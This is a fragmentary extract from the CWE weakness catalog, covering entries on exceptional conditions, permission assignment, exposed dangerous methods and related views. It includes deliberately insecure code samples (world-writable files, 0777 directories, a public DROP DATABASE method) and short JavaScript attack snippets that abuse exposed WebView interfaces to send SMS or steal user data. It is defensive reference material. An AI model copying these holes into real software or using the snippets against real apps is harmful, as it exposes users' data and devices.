V	482	Comparing instead of Assigning
V	483	Incorrect Block Delimitation
B	484	Omitted Break Statement in Switch
C	485	Insufficient Encapsulation
V	486	Comparison of Classes by Name
V	487	Reliance on Package-level Scope
V	488	Exposure of Data Element to Wrong Session
B	489	Leftover Debug Code
V	491	Public cloneable() Method Without Final ('Object Hijack')
V	492	Use of Inner Class Containing Sensitive Data
V	493	Critical Public Variable Without Final Modifier
B	494	Download of Code Without Integrity Check
V	495	Private Array-Typed Field Returned From A Public Method
V	496	Public Data Assigned to Private Array-Typed Field
V	497	Exposure of System Data to an Unauthorized Control Sphere
V	498	Cloneable Class Containing Sensitive Information
V	499	Serializable Class Containing Sensitive Data
V	500	Public Static Field Not Marked Final
V	502	Deserialization of Untrusted Data
C	506	Embedded Malicious Code

B	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
B	918	Server-Side Request Forgery (SSRF)
C	922	Insecure Storage of Sensitive Information
B	940	Improper Verification of Source of a Communication Channel
B	941	Incorrectly Specified Destination in a Communication Channel
V	942	Overly Permissive Cross-domain Whitelist
C	943	Improper Neutralization of Special Elements in Data Query Logic
V	1004	Sensitive Cookie Without 'HttpOnly' Flag

CWE-703: Improper Check or Handling of Exceptional Conditions

Weakness ID: 703 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the software.

Time of Introduction

- Architecture and Design

- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality
Availability
Integrity
Read application data
DoS: crash / exit / restart
Unexpected state

Detection Methods

Dynamic Analysis with manual results interpretation
SOAR High

According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Fault Injection - source code
Fault Injection - binary
Cost effective for partial coverage:
Forced Path Execution

Manual Static Analysis - Source Code
SOAR High

According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR Partial

According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High

According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction

MemberOf	V	*1000*	*Research Concepts*	***1000***	*1413*

Relationship Notes

This is a high-level class that might have some overlap with other classes. It could be argued that even "normal" weaknesses such as buffer overflows involve unusual or exceptional conditions. In that sense, this might be an inherent aspect of most other weaknesses within CWE, similar to API Abuse (CWE-227) and Indicator of Poor Code Quality (CWE-398). However, this entry is currently intended to unify disparate concepts that do not have other places within the Research Concepts view (CWE-1000).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	ERR06-J	Do not throw undeclared checked exceptions
CERT C++ Secure Coding	MEM32-CPP	Detect and handle memory allocation errors
CERT C++ Secure Coding	ERR39-CPP	Guarantee exception safety

CWE-705: Incorrect Control Flow Scoping

Weakness ID: 705 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not properly return control flow to the proper location after it has completed a task or detected an unusual condition.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Other
Alter execution logic
Other

Observed Examples

Reference	Description
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).

CWE-706: Use of Incorrectly-Resolved Name or Reference

Weakness ID: 706 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality
Integrity
Read application data
Modify application data

471	DLL Search Order Hijacking	

CWE-707: Improper Enforcement of Message or Data Structure

Weakness ID: 707 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not enforce or incorrectly enforces that structured messages or data are well-formed before being read from an upstream component or sent to a downstream component.

Extended Description

If a message is malformed it may cause the message to be incorrectly interpreted.

This weakness typically applies in cases where the product prepares a control message that another process must act on, such as a command or query, and malicious input that was intended as data, can enter the control plane instead. However, this weakness also applies to more general cases where there are not always control implications.

CWE-708: Incorrect Ownership Assignment

Weakness ID: 708 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software assigns an owner to a resource, but the owner is outside of the intended control sphere.

Extended Description

This may allow the resource to be manipulated by actors outside of the intended control sphere.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality
Integrity
Read application data
Modify application data

An attacker could read and modify data for which they do not have permissions to access directly.

Observed Examples

Reference	Description
CVE-2005-1064	Product changes the ownership of files that a symlink points to, instead of the symlink itself.
CVE-2005-3148	Backup software restores symbolic links with incorrect uid/gid.
CVE-2007-1716	Manager does not properly restore ownership of a reusable resource when a user logs out, allowing privilege escalation.
CVE-2007-4238	OS installs program with bin owner/group, allowing modification.
CVE-2007-5101	File system sets wrong ownership and group when creating a new file.
CVE-2011-1551	Component assigns ownership of sensitive directory tree to a user account, which can be leveraged to perform privileged operations.

Potential Mitigations

Policy

Periodically review the privileges and their owners.

Testing

Use automated tools to check for privilege settings.

Relationships

Nature	Type	ID	Name	V	Page

CanAlsoBe	C	345	Insufficient Verification of Data Authenticity	1000	601
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	1119
ChildOf	C	944	SFP Secondary Cluster: Access Management	**888**	1375
MemberOf	V	*884*	*CWE Cross-section*	***884***	*1323*

Maintenance Notes

This overlaps verification errors, permissions, and privileges.

A closely related weakness is the incorrect assignment of groups to a resource. It is not clear whether it would fall under this entry or require a different entry.

CWE-709: Named Chains

View ID: 709 *(View: Graph)* **Status:** Incomplete

Objective

This view (graph) displays Named Chains and their components.

View Data

Filter Used:

.//@Compound_Element_Structure='Chain'

View Metrics

	690	Unchecked Return Value to NULL Pointer Dereference
	692	Incomplete Blacklist to Cross-Site Scripting

CWE-710: Coding Standards Violation

Weakness ID: 710 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Other

Other

Potential Mitigations

Implementation

Document and closely follow coding standards.

Testing

Implementation

Where possible, use automated tools to enforce the standards.

CWE-711: Weaknesses in OWASP Top Ten (2004)

View ID: 711 *(View: Graph)* **Status:** Incomplete

Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2004, and as required for compliance with PCI DSS version 1.1.

View Data

View Metrics

	CWEs in this view		Total CWEs
Total	**126**	out of	1006
Views	0	out of	33
Categories	15	out of	245
Weaknesses	110	out of	720
Compound_Elements	1	out of	8

View Audience

Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2004 version), providing a good starting point for web application developers who want to code more securely, as well as complying with PCI DSS 1.1.

Software Customers

This view outlines the most important issues as identified by the OWASP Top Ten, providing customers with a way of asking their software developers to follow minimum expectations for secure code, in compliance with PCI-DSS 1.1.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students. However, the 2007 version (CWE-629) might be more appropriate.

HasMember	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	1123

Relationship Notes

CWE relationships for this view were obtained by examining the OWASP document and mapping to any items that were specifically mentioned within the text of a category. As a result, this mapping is not complete with respect to all of CWE. In addition, some concepts were mentioned in multiple Top Ten items, which caused them to be mapped to multiple CWE categories. For example, SQL injection is mentioned in both A1 (CWE-722) and A6 (CWE-727) categories.

References

"Top 10 2004". OWASP. 2004-01-27. < http://www.owasp.org/index.php/Top_10_2004 >.
PCI Security Standards Council. "About the PCI Data Security Standard (PCI DSS)". < https://www.pcisecuritystandards.org/security_standards/pci_dss.shtml >.

Maintenance Notes

Some parts of CWE are not fully fleshed out in terms of weaknesses. When these areas were mentioned in the Top Ten, category nodes were mapped, although general mapping practice would usually favor mapping only to weaknesses.

CWE-712: OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)

Category ID: 712 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2007.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	*79*	*Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')*	***629***	*131*

CWE-732: Incorrect Permission Assignment for Critical Resource

Weakness ID: 732 *(Weakness Class)* **Status:** Draft

Description

Summary

The software specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.

Extended Description

When a resource is given a permissions setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution or sensitive user data.

Time of Introduction

- Architecture and Design
- Implementation
- Installation
- Operation

Applicable Platforms

Languages

- Language-independent

Modes of Introduction

The developer may set loose permissions in order to minimize problems when the user first runs the program, then create documentation stating that permissions should be tightened. Since system administrators and users do not always read the documentation, this can result in insecure permissions being left unchanged.

The developer might make certain assumptions about the environment in which the software runs - e.g., that the software is running on a single-user system, or the software is only accessible to trusted administrators. When the software is running in a different environment, the permissions become a problem.

Common Consequences

Confidentiality
Read application data
Read files or directories

An attacker may be able to read sensitive information from the associated resource, such as credentials or configuration information stored in a file.

Access Control
Gain privileges / assume identity

An attacker may be able to modify critical properties of the associated resource to gain privileges, such as replacing a world-writable executable with a Trojan horse.

Integrity
Other
Modify application data
Other

An attacker may be able to destroy or corrupt critical data in the associated resource, such as deletion of records from a database.

Likelihood of Exploit

Medium to High

Detection Methods

Automated Static Analysis

Automated static analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. Automated techniques may be able to detect the use of library functions that modify permissions, then analyze function calls for arguments that contain potentially insecure values.

However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated static analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes.

When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated static analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

Automated Dynamic Analysis

Automated dynamic analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc.

However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated dynamic analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes.

When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated dynamic analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis

Manual static analysis may be effective in detecting the use of custom permissions models and functions. The code could then be examined to identifying usage of the related functions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

Manual Dynamic Analysis

Manual dynamic analysis may be effective in detecting the use of custom permissions models and functions. The program could then be executed with a focus on exercising code paths that are related to the custom permissions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

Fuzzing

Fuzzing is not effective in detecting this weakness.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and watch for library functions or system calls on OS resources such as files, directories, and shared memory. Examine the arguments to these calls to infer which permissions are being used.

Note that this technique is only useful for permissions issues related to system resources. It is not likely to detect application-level business rules that are related to permissions, such as if a user of a blog system marks a post as "private," but the blog system inadvertently marks it as "public."

Automated Static Analysis - Binary / Bytecode
SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Inter-application Flow Analysis

Manual Static Analysis - Binary / Bytecode
SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation
SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Web Application Scanner

Web Services Scanner

Database Scanners

Dynamic Analysis with manual results interpretation
SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Host Application Interface Scanner

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Automated Monitored Execution

Forced Path Execution

Manual Static Analysis - Source Code
SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Context-configured Source Code Weakness Analyzer

Automated Static Analysis
SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Configuration Checker

Architecture / Design Review
SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:

The following code sets the umask of the process to 0 before creating a file and writing "Hello world" into the file.

C Example: *Bad Code*

```
#define OUTFILE "hello.out"
umask(0);
FILE *out;
/* Ignore CWE-59 (link following) for brevity */
out = fopen(OUTFILE, "w");
if (out) {
  fprintf(out, "hello world!\n");
  fclose(out);
}
```

After running this program on a UNIX system, running the "ls -l" command might return the following output:

Result

```
-rw-rw-rw- 1 username 13 Nov 24 17:58 hello.out
```

The "rw-rw-rw-" string indicates that the owner, group, and world (all users) can read the file and write to it.

Example 2:

This code creates a home directory for a new user, and makes that user the owner of the directory. If the new directory cannot be owned by the user, the directory is deleted.

PHP Example: *Bad Code*

```
function createUserDir($username){
  $path = '/home/'.$username;
  if(!mkdir($path)){
    return false;
  }
  if(!chown($path,$username)){
    rmdir($path);
    return false;
  }
  return true;
}
```

Because the optional "mode" argument is omitted from the call to mkdir(), the directory is created with the default permissions 0777. Simply setting the new user as the owner of the directory does not explicitly change the permissions of the directory, leaving it with the default. This default allows any user to read and write to the directory, allowing an attack on the user's files. The code also fails to change the owner group of the directory, which may result in access by unexpected groups.

This code may also be vulnerable to Path Traversal (CWE-22) attacks if an attacker supplies a non alphanumeric username.

Example 3:

The following code snippet might be used as a monitor to periodically record whether a web site is alive. To ensure that the file can always be modified, the code uses chmod() to make the file world-writable.

Perl Example: *Bad Code*

```
$fileName = "secretFile.out";
if (-e $fileName) {
  chmod 0777, $fileName;
}
my $outFH;
if (! open($outFH, ">>$fileName")) {
  ExitError("Couldn't append to $fileName: $!");
}
my $dateString = FormatCurrentTime();
my $status = IsHostAlive("cwe.mitre.org");
print $outFH "$dateString cwe status: $status!\n";
close($outFH);
```

The first time the program runs, it might create a new file that inherits the permissions from its environment. A file listing might look like:

Result

```
-rw-r--r-- 1 username 13 Nov 24 17:58 secretFile.out
```

This listing might occur when the user has a default umask of 022, which is a common setting. Depending on the nature of the file, the user might not have intended to make it readable by everyone on the system.

The next time the program runs, however - and all subsequent executions - the chmod will set the file's permissions so that the owner, group, and world (all users) can read the file and write to it:

Result

```
-rw-rw-rw- 1 username 13 Nov 24 17:58 secretFile.out
```

Perhaps the programmer tried to do this because a different process uses different permissions that might prevent the file from being updated.

Example 4:

The following command recursively sets world-readable permissions for a directory and all of its children:

Shell Example: *Bad Code*

```
chmod -R ugo+r DIRNAME
```

If this command is run from a program, the person calling the program might not expect that all the files under the directory will be world-readable. If the directory is expected to contain private data, this could become a security problem.

Observed Examples

Reference	Description
CVE-2001-0006	"Everyone: Full Control" permissions assigned to a mutex allows users to disable network connectivity.
CVE-2002-0969	Chain: database product contains buffer overflow that is only reachable through a .ini configuration file - which has "Everyone: Full Control" permissions.
CVE-2004-1714	Security product uses "Everyone: Full Control" permissions for its configuration files.
CVE-2005-4868	Database product uses read/write permissions for everyone for its shared memory, allowing theft of credentials.
CVE-2007-5544	Product uses "Everyone: Full Control" permissions for memory-mapped files (shared memory) in inter-process communication, allowing attackers to tamper with a session.
CVE-2007-6033	Product creates a share with "Everyone: Full Control" permissions, allowing arbitrary program execution.
CVE-2008-0322	Driver installs its device interface with "Everyone: Write" permissions.
CVE-2008-0662	VPN product stores user credentials in a registry key with "Everyone: Full Control" permissions, allowing attackers to steal the credentials.
CVE-2009-0115	Device driver uses world-writable permissions for a socket file, allowing attackers to inject arbitrary commands.
CVE-2009-0141	Terminal emulator creates TTY devices with world-writable permissions, allowing an attacker to write to the terminals of other users.
CVE-2009-1073	LDAP server stores a cleartext password in a world-readable file.
CVE-2009-3289	Library function copies a file to a new target and uses the source file's permissions for the target, which is incorrect when the source file is a symbolic link, which typically has 0777 permissions.
CVE-2009-3482	Anti-virus product sets insecure "Everyone: Full Control" permissions for files under the "Program Files" folder, allowing attackers to replace executables with Trojan horses.
CVE-2009-3489	Photo editor installs a service with an insecure security descriptor, allowing users to stop or start the service, or execute commands as SYSTEM.
CVE-2009-3611	Product changes permissions to 0777 before deleting a backup; the permissions stay insecure for subsequent backups.
CVE-2009-3897	Product creates directories with 0777 permissions at installation, allowing users to gain privileges and access a socket used for authentication.
CVE-2009-3939	Driver installs a file with world-writable permissions.

Potential Mitigations

Implementation

When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [R.732.1], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.

Architecture and Design

Moderate

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [R.732.2]

This can be an effective strategy. However, in practice, it may be difficult or time consuming to define these areas when there are many different resources or user types, or if the applications features change rapidly.

Architecture and Design
Operation
Sandbox or Jail
Limited

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Implementation
Installation
High

During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.

System Configuration
High

For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.

Documentation

Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.

Installation

Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.

Operation
System Configuration
Environment Hardening

Ensure that the software runs properly under the Federal Desktop Core Configuration (FDCC) [R.732.4] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

Maintenance Notes

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-396).

CWE-733: Compiler Optimization Removal or Modification of Security-critical Code

Weakness ID: 733 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The developer builds a security-critical protection mechanism into the software but the compiler optimizes the program such that the mechanism is removed or modified.

Applicable Platforms

Languages

- C *(Often)*
- C++ *(Often)*
- All Compiled Languages

Common Consequences

Access Control
Other
Bypass protection mechanism
Other

Detection Methods

Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

Observed Examples

Reference	Description
CVE-2008-1685	C compiler optimization, as allowed by specifications, removes code that is used to perform checks to detect integer overflows.

CWE-734: Weaknesses Addressed by the CERT C Secure Coding Standard

View ID: 734 *(View: Graph)* **Status:** Incomplete

Objective

CWE entries in this view (graph) are fully or partially eliminated by following the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this view is incomplete.

View Data

View Metrics

	CWEs in this view		Total CWEs
Total	**106**	out of	1006
Views	0	out of	33
Categories	15	out of	245
Weaknesses	90	out of	720
Compound_Elements	1	out of	8

View Audience

Developers

By following the CERT C Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

Software Customers

If a software developer claims to be following the CERT C Secure Coding standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

Relationship Notes

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

CWE-749: Exposed Dangerous Method or Function

Weakness ID: 749 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.

Extended Description

This weakness can lead to a wide variety of resultant weaknesses, depending on the behavior of the exposed method. It can apply to any number of technologies and approaches, such as ActiveX controls, Java functions, IOCTLs, and so on.

The exposure can occur in a few different ways:

1) The function/method was never intended to be exposed to outside actors.

2) The function/method was only intended to be accessible to a limited set of actors, such as Internet-based access from a single web site.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-independent

Common Consequences

Integrity
Confidentiality
Availability
Access Control
Other
Gain privileges / assume identity
Read application data
Modify application data
Execute unauthorized code or commands
Other

Exposing critical functionality essentially provides an attacker with the privilege level of the exposed functionality. This could result in the modification or exposure of sensitive data or possibly even execution of arbitrary code.

Likelihood of Exploit

Low to Medium

Demonstrative Examples

Example 1:

In the following Java example the method removeDatabase will delete the database with the name specified in the input parameter.

Java Example: *Bad Code*

```
public void removeDatabase(String databaseName) {
  try {
    Statement stmt = conn.createStatement();
    stmt.execute("DROP DATABASE " + databaseName);
```

```
  } catch (SQLException ex) {...}
}
```

The method in this example is declared public and therefore is exposed to any class in the application. Deleting a database should be considered a critical operation within an application and access to this potentially dangerous method should be restricted. Within Java this can be accomplished simply by declaring the method private thereby exposing it only to the enclosing class as in the following example.

Java Example: *Good Code*

```
private void removeDatabase(String databaseName) {
  try {
    Statement stmt = conn.createStatement();
    stmt.execute("DROP DATABASE " + databaseName);
  } catch (SQLException ex) {...}
  }
```

Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Java Example: *Bad Code*

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
  if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
    if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
      writeDataToView(view, UserData);
      return false;
    }
    else{
      return true;
    }
  }
}
```

Objective-C Example: *Bad Code*

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest
navigationType:(UIWebViewNavigationType)exNavigationType
{
  NSURL *URL = [exRequest URL];
  if ([[URL scheme] isEqualToString:@"exampleScheme"])
  {
    NSString *functionString = [URL resourceSpecifier];
    if ([functionString hasPrefix:@"specialFunction"])
    {
      // Make data available back in webview.
      UIWebView *webView = [self writeDataToView:[URL query]];
    }
    return NO;
  }
  return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Javascript Example: *Attack*

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Example 3:

This application uses a WebView to display websites, and creates a Javascript interface to a Java object to allow enhanced functionality on a trusted website:

Java Example: *Bad Code*

```
public class WebViewGUI extends Activity {
  WebView mainWebView;
  public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    mainWebView = new WebView(this);
    mainWebView.getSettings().setJavaScriptEnabled(true);
    mainWebView.addJavascriptInterface(new JavaScriptInterface(), "userInfoObject");
    mainWebView.loadUrl("file:///android_asset/www/index.html");
    setContentView(mainWebView);
  }
  final class JavaScriptInterface {
    JavaScriptInterface () {}
    public String getUserInfo() {
      return currentUser.Info();
    }
  }
}
```

Before Android 4.2 all methods, including inherited ones, are exposed to Javascript when using addJavascriptInterface(). This means that a malicious website loaded within this WebView can use reflection to acquire a reference to arbitrary Java objects. This will allow the website code to perform any action the parent application is authorized to.

For example, if the application has permission to send text messages:

Javascript Example: *Attack*

```
<script>
  userInfoObject.getClass().forName('android.telephony.SmsManager').getMethod('getDefault',null).sendTextMessage(attackNumber,
  null, attackMessage, null, null);
</script>
```

This malicious script can use the userInfoObject object to load the SmsManager object and send arbitrary text messages to any recipient.

Example 4:

After Android 4.2, only methods annotated with @JavascriptInterface are available in JavaScript, protecting usage of getClass() by default, as in this example:

Java Example: *Bad Code*

```
final class JavaScriptInterface {
  JavaScriptInterface () { }
  @JavascriptInterface
  public String getUserInfo() {
    return currentUser.Info();
  }
}
```

This code is not vulnerable to the above attack, but still may expose user info to malicious pages loaded in the WebView. Even malicious iframes loaded within a trusted page may access the exposed interface:

Javascript Example: *Attack*

```
<script>
  var info = window.userInfoObject.getUserInfo();
  sendUserInfo(info);
</script>
```

This malicious code within an iframe is able to access the interface object and steal the user's data.

Observed Examples

Reference	Description
CVE-2007-1112	security tool ActiveX control allows download or upload of files
CVE-2007-6382	arbitrary Java code execution via exposed method

Potential Mitigations

Architecture and Design

If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.

Architecture and Design
Implementation
Identify and Reduce Attack Surface

Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be:

- accessible to all users
- restricted to a small set of privileged users
- prevented from being directly accessible at all

Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page

ChildOf	C	691	Insufficient Control Flow Management	1000	1075
ChildOf	C	808	2010 Top 25 - Weaknesses On the Cusp	**800**	1247
ChildOf	C	975	SFP Secondary Cluster: Architecture	**888**	1386
ParentOf	B	*618*	*Exposed Unsafe ActiveX Method*	***1000***	*968*
ParentOf	V	*782*	*Exposed IOCTL with Insufficient Access Control*	***699*** ***1000***	*1202*

Research Gaps

Under-reported and under-studied. This weakness could appear in any technology, language, or framework that allows the programmer to provide a functional interface to external parties, but it is not heavily reported. In 2007, CVE began showing a notable increase in reports of exposed method vulnerabilities in ActiveX applications, as well as IOCTL access to OS-level resources. These weaknesses have been documented for Java applications in various secure programming sources, but there are few reports in CVE, which suggests limited awareness in most parts of the vulnerability research community.

CWE-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors

View ID: 750 *(View: Graph)* **Status:** Incomplete

Objective

CWE entries in this view (graph) are listed in the 2009 CWE/SANS Top 25 Programming Errors.

View Data

View Metrics

	CWEs in this view		Total CWEs
Total	**29**	out of	1006
Views	0	out of	33
Categories	3	out of	245
Weaknesses	24	out of	720
Compound_Elements	2	out of	8

View Audience

Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

Software Customers

If a software developer claims to be following the Top 25, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

CWE-754: Improper Check for Unusual or Exceptional Conditions

Weakness ID: 754 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not check or improperly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the software.

Extended Description

The programmer may assume that certain events or conditions will never occur or do not need to be worried about, such as low memory conditions, lack of access to resources due to restrictive permissions, or misbehaving clients or components. However, attackers may intentionally trigger these unusual conditions, thus violating the programmer's assumptions, possibly introducing instability, incorrect behavior, or a vulnerability.

Note that this entry is not exclusively about the use of exceptions and exception handling, which are mechanisms for both checking and handling unusual or unexpected conditions.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-independent

Common Consequences

Integrity
Availability
DoS: crash / exit / restart
Unexpected state

The data which were produced as a result of a function call could be in a bad state upon return. If the return value is not checked, then this bad data may be used in operations, possibly leading to a crash or other unintended behaviors.

Likelihood of Exploit

Medium

Detection Methods

Automated Static Analysis
Moderate

Automated static analysis may be useful for detecting unusual conditions involving system resources or common programming idioms, but not for violations of business rules.

Manual Dynamic Analysis

